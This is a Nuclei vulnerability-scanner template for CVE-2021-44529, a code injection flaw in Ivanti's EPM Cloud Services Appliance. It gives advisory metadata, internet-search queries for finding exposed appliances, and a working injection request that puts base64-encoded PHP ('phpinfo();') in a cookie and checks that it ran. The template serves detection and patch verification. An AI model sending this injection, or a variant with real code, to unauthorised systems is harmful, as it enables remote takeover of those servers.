id: CVE-2021-44529
info:
name: Ivanti EPM Cloud Services Appliance Code Injection
author: duty_1g,phyr3wall,Tirtha
severity: critical
description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
impact: |
Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
remediation: |
Apply the latest security patches provided by Ivanti to mitigate this vulnerability.
reference:
- https://forums.ivanti.com/s/article/SA-2021-12-02
- https://twitter.com/Dinosn/status/1505273954478530569
- https://nvd.nist.gov/vuln/detail/CVE-2021-44529
- http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
- https://github.com/SYRTI/POC_to_review
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-44529
cwe-id: CWE-94
epss-score: 0.97096
epss-percentile: 0.99778
cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ivanti
product: endpoint_manager_cloud_services_appliance
shodan-query:
- title:"LANDesk(R) Cloud Services Appliance"
- http.title:"landesk(r) cloud services appliance"
fofa-query: title="landesk(r) cloud services appliance"
google-query: intitle:"landesk(r) cloud services appliance"
tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm,kev
http:
- raw:
- |
GET /client/index.php HTTP/1.1
Host: {{Hostname}}
Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;
matchers-condition: and
matchers:
- type: word
part: body
words:
- "phpinfo()"
- "Cloud Services Appliance"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100f24336b3ebbf8925e8a3cd2bddaa35d7f6d2def132d50d637d36c8358554f96602205f4f669229b390d54dba12b2586bcd023eabed4d623b535db1043f41a467347a:922c64590222798bb761d5b6d8e72950
